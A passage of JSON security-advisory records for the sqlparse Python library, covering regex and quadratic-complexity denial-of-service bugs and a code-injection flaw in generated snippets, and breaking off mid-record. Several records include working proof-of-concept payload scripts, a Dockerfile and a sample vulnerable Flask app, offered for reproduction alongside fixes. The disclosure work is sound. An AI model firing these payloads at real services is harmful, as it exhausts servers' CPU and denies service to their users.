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Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)","description":"### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r'((?\u003c![\\w\\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n    for rexmatch, action in self._SQL_REGEX:\n        m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` — `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` — delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` — `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` — `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` — every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` — the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes  | Elapsed  |\n|--------------------------|--------|----------|\n| 250                      | 1,889  | 0.066 s  |\n| 500                      | 3,889  | 0.144 s  |\n| 1,000                    | 7,889  | 0.397 s  |\n| 2,000                    | 16,889 | 1.314 s  |\n\nThe timing ratio from n=1000 to n=2000 is **3.31×** (input doubled → time tripled), confirming O(n²) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -\u003e str:\n    # N unique unmatched dollar-quote openers — none have a matching closing delimiter\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n    payload = make_payload(n)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as e:\n        status = f\"SQLParseError: {e}\"\n    elapsed = time.perf_counter() - t0\n    print(f\"n={n:\u003e5}  bytes={len(payload):\u003e7}  elapsed={elapsed:.3f}s  status={status}\")\n```\n\n**Expected output (super-linear scaling confirms ReDoS):**\n\n```\nn=  250  bytes=   1889  elapsed=0.066s  status=ok\nn=  500  bytes=   3889  elapsed=0.144s  status=ok\nn= 1000  bytes=   7889  elapsed=0.397s  status=ok\nn= 2000  bytes=  16889  elapsed=1.314s  status=ok\n\nKey ratio (n=1000 -\u003e n=2000): 3.31x\n[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\n```\n\n**Attack input structure:**\n\n```\n$a0$x $a1$x $a2$x ... $a{N-1}$x\n```\n\nEach token `$ai$x` resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.\n\n**Remediation (proposed patch):**\n\nReplace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with `re.finditer`, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See `report_excerpt.md` for the full diff.\n\n### Additional affected pattern: multiline comments\n\nReported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.\n\nTwo further entries in `SQL_REGEX` use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:\n\n```python\n# sqlparse/keywords.py:20\n(r'/\\*\\+[\\s\\S]*?\\*/', tokens.Comment.Multiline.Hint),\n# sqlparse/keywords.py:23\n(r'/\\*[\\s\\S]*?\\*/',    tokens.Comment.Multiline),\n```\n\nA backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (`sqlparse/lexer.py:136-138`): an unterminated `/*` scans to the end of the input and fails, so N unclosed openers cost O(N²).\n\n**PoC**\n\n```python\nimport time, sqlparse\n\nfor n in (2000, 4000, 8000, 16000):\n    payload = \"/*x \" * n\n    t0 = time.perf_counter()\n    sqlparse.parse(payload)\n    print(f\"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s\")\n```\n\nLexing-only timings on `0.5.6.dev0` (commit `f80af6a`), isolating the regex work from grouping:\n\n| openers | bytes | lexing |\n|---------|-------|--------|\n| 2,000   | 8 KB  | 0.057 s |\n| 4,000   | 16 KB | 0.196 s |\n| 8,000   | 32 KB | 0.729 s |\n| 16,000  | 64 KB | 2.717 s |\n\nRoughly 3.7x per doubling of the input, i.e. quadratic.\n\n**Note for reproduction:** `\"/*\" * n` on its own is *linear* and does not reproduce the issue — in `/*/*/*...` the openers form overlapping `*/` pairs, so the pattern matches immediately. The opener must be padded (e.g. `\"/*x \"`) so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.\n\n### Impact\n\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. Any application or service that passes user-controlled SQL text to `sqlparse.parse()`, `sqlparse.format()`, or `sqlparse.split()` is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.\n\nUnder sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.\n\nAffected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    build-essential \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the sqlparse repository source code\nCOPY repo/ /app/repo/\n\n# Install sqlparse from local source in editable mode\nRUN pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script (build context is the parent of vuln-001/)\nCOPY vuln-001/poc.py /app/poc.py\n\n# Default: run the PoC\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)\n\nAffected code: sqlparse/keywords.py:33\n    (r'((?\u003c![\\\\w\\\\\"\\\\$])\\\\$(?:[_A-ZÀ-Ü]\\\\w*)?\\\\$)[\\\\s\\\\S]*?\\\\1', tokens.Literal)\n\nThe backreference \\\\1 forces the regex engine to scan the entire remaining input\nfor each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.\n\nAttack input: a sequence of N unique, never-closed dollar-quote openers\n    $a0$x $a1$x $a2$x ... $a{N-1}$x\n\nEach opener $ai$ is unique, so the regex engine must exhaust the remaining\nstring before concluding no match exists.  With N openers this creates\nO(N^2) regex work.\n\nExpected observation: elapsed time grows quadratically (roughly 4x per 2x N).\nPASS criterion: timing ratio between n=2000 and n=1000 \u003e= 3.0 (clear super-linear).\n\"\"\"\n\nimport sys\nimport time\n\ntry:\n    import sqlparse\n    from sqlparse.exceptions import SQLParseError\nexcept ImportError as exc:\n    print(f\"[ERROR] Cannot import sqlparse: {exc}\", file=sys.stderr)\n    sys.exit(2)\n\nprint(\"=\" * 60)\nprint(\"VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex\")\nprint(\"=\" * 60)\nprint(f\"sqlparse version: {sqlparse.__version__}\")\nprint()\n\n\ndef make_payload(n: int) -\u003e str:\n    \"\"\"Generate N unique unmatched dollar-quote openers.\n\n    Each token '$ai$x' looks like an opening dollar-quote delimiter\n    but never has a closing delimiter, so the regex engine must scan\n    the entire remaining string before giving up on each one.\n    \"\"\"\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\n\nresults = []\n\nsample_sizes = [250, 500, 1000, 2000]\n\nfor n in sample_sizes:\n    payload = make_payload(n)\n    byte_len = len(payload.encode())\n    t_start = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as exc:\n        status = f\"SQLParseError({exc})\"\n    except Exception as exc:\n        status = f\"Exception({type(exc).__name__}: {exc})\"\n    elapsed = time.perf_counter() - t_start\n\n    results.append((n, byte_len, elapsed, status))\n    print(f\"n={n:\u003e5}  bytes={byte_len:\u003e7}  elapsed={elapsed:\u003e8.3f}s  status={status}\")\n\nprint()\n\n# Compute scaling ratios between consecutive sample sizes\nprint(\"Scaling analysis (O(n^2) expected -\u003e ratio \u003e= ~4x per 2x input):\")\nfor i in range(1, len(results)):\n    n_prev, _, t_prev, _ = results[i - 1]\n    n_curr, _, t_curr, _ = results[i]\n    if t_prev \u003e 0:\n        ratio = t_curr / t_prev\n        n_ratio = n_curr / n_prev\n        print(f\"  n={n_prev} -\u003e n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x\")\n\nprint()\n\n# PASS/FAIL verdict based on timing ratio between largest two points\n_, _, t_1000, _ = results[2]  # n=1000\n_, _, t_2000, _ = results[3]  # n=2000\n\nPASS_THRESHOLD = 3.0\n\nif t_1000 \u003e 0:\n    ratio_1000_2000 = t_2000 / t_1000\nelse:\n    ratio_1000_2000 = 0.0\n\nprint(f\"Key ratio (n=1000 -\u003e n=2000): {ratio_1000_2000:.2f}x\")\n\nif ratio_1000_2000 \u003e= PASS_THRESHOLD:\n    print()\n    print(\"[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003e= threshold {PASS_THRESHOLD}x.\")\n    print(\"       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.\")\n    sys.exit(0)\nelse:\n    print()\n    print(\"[FAIL] Super-linear scaling NOT confirmed within this run.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003c threshold {PASS_THRESHOLD}x.\")\n    print(\"       The host may be too fast or JIT effects obscured the result.\")\n    print(\"       Try larger sample sizes or re-run on a slower host.\")\n    sys.exit(1)\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-17T17:49:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr","https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e","https://github.com/advisories/GHSA-prg7-hcfm-mfcr"],"source_kind":"github","identifiers":["GHSA-prg7-hcfm-mfcr","CVE-2026-59893"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-17T19:00:10.270Z","updated_at":"2026-08-19T22:00:09.341Z","epss_percentage":0.00279,"epss_percentile":0.20361,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcmc3LWhjZm0tbWZjcs4ABkVk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcmc3LWhjZm0tbWZjcs4ABkVk","packages":[{"ecosystem":"pypi","package_name":"sqlparse","versions":[{"first_patched_version":"0.6.0","vulnerable_version_range":"\u003c= 0.5.6.dev0"}],"purl":"pkg:pypi/sqlparse"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcmc3LWhjZm0tbWZjcs4ABkVk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wd2d2LTR4NXEtNm05Zs4ABkVj","url":"https://github.com/advisories/GHSA-pwgv-4x5q-6m9f","title":"sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger","description":"### Summary\n\n`sqlparse` ships hard limits (`MAX_GROUPING_DEPTH=100`, `MAX_GROUPING_TOKENS=10000`) intended to bound parsing work on attacker-supplied SQL, but the path that *reaches* those limits is itself `O(n*depth)` per token-group construction. A ~1-2 KB SQL payload (e.g. `SELECT (((((1))))) ...` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain) drives the parser to spend multiple seconds of CPU before the depth cap raises `SQLParseError`. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.\n\nThe root cause is `TokenList.__init__` calling `super().__init__(None, str(self))`. `TokenList.__str__` flattens the entire subtree on every call, and grouping constructs a new `TokenList` for every parenthesis / CASE / list group, so a tree of depth `d` with `n` total tokens performs `O(n*d)` flatten work just to materialize the cached `value` field, which is then never read for grouped nodes (they override `__str__`).\n\nThis is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to *trigger* the caps is itself superlinear in payload size.\n\n### Affected components\n\n`sqlparse` 0.5.5 (latest) and every prior version that ships `TokenList.__init__`. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (`da67ac1`, 2025-12-08) added depth + token caps to `_group_matching` / `_group` but left the per-node `str(self)` materialization untouched.\n\n### Vulnerable code (file:line)\n\n[`sqlparse/sql.py#L162`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/sql.py#L162) (release 0.5.5) / [`sqlparse/sql.py#L167`](https://github.com/andialbrecht/sqlparse/blob/c923da9c5a8e8403dd32efc2171b60a177444d43/sqlparse/sql.py#L167) (current `master`):\n\n```python\nclass TokenList(Token):\n    __slots__ = 'tokens'\n\n    def __init__(self, tokens=None):\n        self.tokens = tokens or []\n        [setattr(token, 'parent', self) for token in self.tokens]\n        super().__init__(None, str(self))   # ← O(subtree) work per group\n        self.is_group = True\n\n    def __str__(self):\n        return ''.join(token.value for token in self.flatten())\n```\n\n`__str__` recurses via `flatten()` over the *entire* subtree below `self`. Every `TokenList` constructed during grouping (every `Parenthesis`, `Case`, `IdentifierList`, etc.) runs this on its current children, which themselves recursively call `flatten()`. For grouping that builds a tree of depth `d` containing `n` tokens, the construction cost is `O(n * d)`.\n\nThe grouping pipeline that triggers it lives at [`sqlparse/engine/grouping.py#L80`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L80) (`group_parenthesis`) and [`sqlparse/engine/grouping.py#L84`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L84) (`group_case`). Both call `_group_matching` which builds nested `Parenthesis` / `Case` `TokenList` instances bottom-up.\n\n### Reachable / How input reaches the sink\n\n`sqlparse.parse(sql)`, `sqlparse.format(sql, reindent=True)`, and `sqlparse.split(sql)` are the documented entry points and all flow into `engine/filter_stack.py:run` → `engine/grouping.py:group` → `group_parenthesis` / `group_case`. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested `CASE WHEN`, nested subqueries, or nested `ARRAY[]` literals.\n\nReal-world consumers that feed user input directly into these entry points include any SQL formatter web service (the `sqlformat.org`-style class of tools), Django's `format_debug_sql` (`django/db/backends/base/operations.py`) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as `sql-metadata` (`Parser(sql).columns` triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).\n\n### Proof of concept\n\nMinimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):\n\n```python\nimport sqlparse, time, signal\n\ndef _h(s, f): raise TimeoutError()\nsignal.signal(signal.SIGALRM, _h)\n\ndef measure(label, sql, fn):\n    signal.alarm(30)\n    t0 = time.perf_counter()\n    status = 'OK'\n    try:\n        fn(sql)\n    except sqlparse.exceptions.SQLParseError:\n        status = 'CAP'\n    except TimeoutError:\n        status = 'TIMEOUT'\n    finally:\n        signal.alarm(0)\n    dt = (time.perf_counter() - t0) * 1000\n    print(f'  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)')\n\n# Vector 1: deeply nested parentheses\nfor n in (200, 500, 1000, 2000):\n    sql = 'SELECT ' + '(' * n + '1' + ')' * n\n    measure(f'nested-paren n={n}', sql, sqlparse.parse)\n\n# Vector 2: deeply nested CASE WHEN\nfor n in (100, 200, 400):\n    case = '1'\n    for i in range(n):\n        case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'\n    measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)\n```\n\nOutput on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):\n\n```\n  CAP         80.7ms  nested-paren n=200  (408 B)\n  CAP       1342.9ms  nested-paren n=500  (1008 B)\n  CAP      11206.9ms  nested-paren n=1000  (2008 B)\n  TIMEOUT  \u003e10000ms   nested-paren n=2000  (4008 B)\n  CAP         83.1ms  CASE-nested n=100  (3405 B)\n  CAP        559.6ms  CASE-nested n=200  (6905 B)\n  CAP       5012.2ms  CASE-nested n=400  (13905 B)\n```\n\n`cProfile` attribution (nested-paren n=500, 1008 B input, 3.1 s total):\n\n```\nncalls   cumtime  filename:lineno(function)\n   501    3.133   sqlparse/sql.py:165(__str__)\n   501    3.127   {method 'join' of 'str' objects}\n252504    3.110   sqlparse/sql.py:166(\u003cgenexpr\u003e)\n42168504 3.079   sqlparse/sql.py:207(flatten)\n```\n\n42 million `flatten()` calls for a 1 KB input. The cap raises at depth 100, but `TokenList.__init__` ran `str(self)` once per group construction and each call walked the partial subtree.\n\n### End-to-end reproduction (against running consumer)\n\n`victim_app.py` (a 50-line Flask formatter, the canonical sqlparse consumer pattern):\n\n```python\nfrom flask import Flask, request, jsonify\nimport sqlparse, time\napp = Flask(__name__)\n\n@app.route('/parse', methods=['POST'])\ndef parse_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(sql)\n        return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)})\n    except sqlparse.exceptions.SQLParseError as e:\n        return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400\n\n@app.route('/format', methods=['POST'])\ndef format_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')\n    return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})\n\nif __name__ == '__main__':\n    app.run(host='127.0.0.1', port=5099, threaded=False)\n```\n\nDriver run (Python 3.9, sqlparse 0.5.5, `threaded=False` so one worker per request):\n\n```\n=== Baseline (benign payloads) ===\n  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms\n  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms\n  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms\n\n=== Malicious payloads (within default caps) ===\n  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False\n  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False\n  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False\n  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False\n  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False\n  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True\n```\n\nA 2 KB payload (`nested-paren n=1000`) pins one worker for 10 seconds at 100% CPU. With `gunicorn -w N` deploying the same app, `N` concurrent malicious requests exhaust every worker and bring the service down. The cap `SQLParseError` exception is delivered to the caller, but only *after* the CPU work is already burnt.\n\n### Impact\n\n- Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption).\n- Multi-worker service: attacker sends `N` parallel requests, exhausts the worker pool.\n- Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU).\n- Downstream library impact: `sql-metadata.Parser(sql).columns` calls `sqlparse.parse` internally and inherits the exact same hang (`nested-paren n=1000` → 11.3 s).\n\n### Suggested fix\n\nReplace the eager `str(self)` materialization with a single-pass concatenation of children's already-cached `value` fields. The `Token.value` invariant `value == str(self) at construction` is preserved (children's `value` is itself built the same way bottom-up), but the per-node cost drops from `O(subtree)` to `O(len(self.tokens))`:\n\n```python\ndef __init__(self, tokens=None):\n    self.tokens = tokens or []\n    [setattr(token, 'parent', self) for token in self.tokens]\n    # Avoid materializing the full subtree via str(self): concatenating\n    # children's already-cached `value` is O(len(tokens)) per group,\n    # whereas str(self) recursively flattens the entire subtree which is\n    # O(subtree) per node and turns nested grouping into O(n * depth).\n    super().__init__(None, ''.join(token.value for token in self.tokens))\n    self.is_group = True\n```\n\nMeasured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched `0d24023`):\n\n| Vector | Before fix | After fix | Speedup |\n|---|---|---|---|\n| nested-paren n=500 | 1336 ms | 11 ms | 121x |\n| nested-paren n=1000 | 11206 ms | 22 ms | 509x |\n| nested-paren n=2000 | TIMEOUT (\u003e10 s) | 45 ms | 220x+ |\n| CASE-nested n=200 | 559 ms | 25 ms | 22x |\n| CASE-nested n=500 | TIMEOUT (\u003e10 s) | 61 ms | 160x+ |\n| benign 1 KB SQL | 3 ms | 3 ms | unchanged |\n\nEnd-to-end Flask `victim_app` re-run against the patched library:\n\n```\n  nested-paren n=1000                        2008B  server=    34.6ms\n  nested-paren n=2000                        4008B  server=    67.2ms\n  CASE-nested n=400                         13905B  server=    49.5ms\n  benign 1 KB SQL                             220B  server=     3.4ms\n```\n\nThe IN-tuple `format()` vector observed at `n=1000` (3.8 s for ~10 KB input) is a separate quadratic in the `reindent` filter (`filters/reindent.py:_get_offset` → `_flatten_up_to_token`) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.\n\n### Fix PR\n\nA fix PR against the temp private fork, mirroring the diff above with a regression test (`test_nested_paren_within_cap_under_50ms`), is attached and linked from this advisory.\n\n### Credit\n\nReported by [tonghuaroot](https://github.com/tonghuaroot).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-17T17:49:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-pwgv-4x5q-6m9f","https://github.com/andialbrecht/sqlparse/commit/939b129e24c0ad5d51368b1aa72fffcaca76f06f","https://github.com/advisories/GHSA-pwgv-4x5q-6m9f"],"source_kind":"github","identifiers":["GHSA-pwgv-4x5q-6m9f","CVE-2026-54284"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-17T19:00:10.270Z","updated_at":"2026-08-19T22:00:09.341Z","epss_percentage":0.00263,"epss_percentile":0.182,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wd2d2LTR4NXEtNm05Zs4ABkVj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wd2d2LTR4NXEtNm05Zs4ABkVj","packages":[{"ecosystem":"pypi","package_name":"sqlparse","versions":[{"first_patched_version":"0.6.0","vulnerable_version_range":"\u003c= 0.5.5"}],"purl":"pkg:pypi/sqlparse"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wd2d2LTR4NXEtNm05Zs4ABkVj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mMmZmLXAyd3ctN3A0cM4ABkVZ","url":"https://github.com/advisories/GHSA-f2ff-p2ww-7p4p","title":"sqlparse: Quadratic O(n²) DoS in group_comments","description":"### Summary\nA comment-only statement (`-- c\\n`*n) may cause a Denial of Service (DoS).\n\n### Details\nLocation: [sqlparse/engine/grouping.py:331-341](https://github.com/andialbrecht/sqlparse/blob/f80af6a4007f11ada847218df8c29dc859238290/sqlparse/engine/grouping.py#L332) (`group_comments`), invoked first in `group()` at `grouping.py:439`. Reachable via `sqlparse.parse()` and `sqlparse.format(sql, strip_comments=True)`.\n\nA statement made of many single-line comments (`'-- c\\n'` repeated) lexes in O(n) but `group_comments` is O(n²):\n\n```python\ndef group_comments(tlist):\n    tidx, token = tlist.token_next_by(t=T.Comment)\n    while token:\n        eidx, end = tlist.token_not_matching(\n            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)\n        ...\n        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)\n```\n\nThe `while` loop runs n times and each `token_next_by` / `token_not_matching` rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.\n\nTwo following factors increase the severity:\n\n1. `group_comments` runs first in `group()` (`grouping.py:439`), before the `_group_matching` token-count guard (`grouping.py:34-39`). So the entire quadratic cost is paid even on oversized input. `MAX_GROUPING_TOKENS` does not provide protection on this vector.\n2. It sits on the primary sanitizer path: `format(sql, strip_comments=True)`, used by query loggers, SQL firewalls, ORMs, and migration tools.\n\n### PoC\nTested using Python 3.14:\n\n```python\nimport time, sqlparse\nfor n in (1000, 2000, 4000):\n    s = \"-- c\\n\" * n\n    t = time.perf_counter()\n    sqlparse.format(s, strip_comments=True)\n    print(f\"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms\")\n```\n\nOutput:\n\n```\nn= 1000  format(strip_comments)=  106.0 ms\nn= 2000  format(strip_comments)=  403.3 ms\nn= 4000  format(strip_comments)= 1602.8 ms\n```\n\nTime increase of ~4× per 2× input (quadratic). `parse()` shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.\n\n### Impact\nDenial of Service","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-17T17:21:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-f2ff-p2ww-7p4p","https://github.com/andialbrecht/sqlparse/commit/ef2012a5eeb491e604dea2b00d516904a3830c87","https://github.com/advisories/GHSA-f2ff-p2ww-7p4p"],"source_kind":"github","identifiers":["GHSA-f2ff-p2ww-7p4p","CVE-2026-71491"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-17T19:00:10.270Z","updated_at":"2026-08-19T22:00:09.345Z","epss_percentage":0.00263,"epss_percentile":0.18201,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMmZmLXAyd3ctN3A0cM4ABkVZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mMmZmLXAyd3ctN3A0cM4ABkVZ","packages":[{"ecosystem":"pypi","package_name":"sqlparse","versions":[{"first_patched_version":"0.6.0","vulnerable_version_range":"\u003c= 0.5.5"}],"purl":"pkg:pypi/sqlparse"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mMmZmLXAyd3ctN3A0cM4ABkVZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zNDk2LTlnODMtN3Y2eM4ABkVV","url":"https://github.com/advisories/GHSA-3496-9g83-7v6x","title":"sqlparse: Generated Python and PHP snippets allow SQL string breakout through unescaped backslashes","description":"### Summary\n\nThe documented Python and PHP output modes generate source-code snippets from caller-supplied SQL. Their output filters escape quote characters without first escaping existing backslashes. Crafted SQL can therefore neutralize the generated quote escape, terminate the intended language string, and place attacker-controlled code into the generated snippet. If a downstream consumer executes or imports that generated source, the injected code runs in the consumer's environment.\n\n### Details\n\nThe Python output filter places SQL in a single-quoted string and replaces each single quote with an escaped quote. The PHP output filter performs the equivalent operation for a double-quoted string. Neither transformation escapes pre-existing backslashes before escaping quotes. A backslash supplied immediately before a quote causes the generated backslash to be escaped instead of the quote, allowing the quote to close the string.\n\nThe affected modes are exposed through `sqlparse.format(..., output_format='python')`, `sqlparse.format(..., output_format='php')`, and the corresponding `sqlformat -l` options. Formatting produces the injected source but does not itself execute it; code execution occurs when a downstream workflow treats the generated snippet as Python or PHP code.\n\nRelevant code locations:\n\n- `sqlparse/formatter.py:193` — selection of the output-language filters\n- `sqlparse/filters/output.py:45` 